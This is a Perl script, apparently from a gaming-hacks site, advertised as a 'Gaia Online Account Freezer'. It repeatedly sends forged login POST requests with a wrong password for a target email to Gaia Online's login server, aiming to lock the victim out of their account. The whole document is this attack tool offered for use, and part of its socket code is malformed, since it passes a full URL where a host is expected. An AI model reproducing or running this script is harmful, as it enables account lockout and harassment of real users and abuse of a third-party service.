#!/usr/bin/perl use IO::Socket; if(!defined($ARGV[0])) { print "\n"; print "===================================================\n"; print "------------ Gaia Online Account Freezer-----------\n"; print "---------- Contact: Thebomb1080@fagex.net----------\n"; print "=========== visit: www.gaminggutter.org ===========\n"; print "===================================================\n"; print "--- Usage: perl $0 visit: www.gaminggutter.org\n\n"; exit; } $TARGET = $ARGV[0]; $PORT = "80"; $SERVER = "http://login.gaiaonline.com/gaia/login.php"; $PASSWORD = "fuckmygaia"; $NUMBER = "999999999999999999999999999999999"; $A = "POST http://www.gaiaonline.com/?login_success=1 HTTP/1.1"; $B = "Host: login.gaiaonline.com"; $C = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; $D = "Connection: close"; $E = "Content-Type: application/x-www-form-urlencoded"; $G = "Login=&email=$TARGET&password=$PASSWORD&ctl00%24Main%24SplashDisplay%24loginold%24loginbutton.x=44&ctl00%24Main%24SplashDisplay%24loginold%24loginbutton.y=7"; print "\n"; print "===================================================\n"; print "------------ Gaia Online Account Freezer-----------\n"; print "---------- Contact: Thebomb1080@fagex.net----------\n"; print "=========== visit: www.gaminggutter.org ===========\n"; print "===================================================\n"; print " * Attacking $TARGET now ... visit: www.gaminggutter.org\n"; print "[-] CTRL + C To Stop. visit: www.gaminggutter.org\n"; for($count=0;$count<=$NUMBER;$count++) { $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$SERVER",PeerPort=>"$PORT"); while(!$remote) { $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$SERVER",PeerPort=>"$PORT"); } print $remote "$A\n$B\n$C\n$D\n$E\nContent-Length: ". length($G) ."\n\n$G\n\n"; $remote->autoflush(); } print "Done, Account is Frozen"; exit;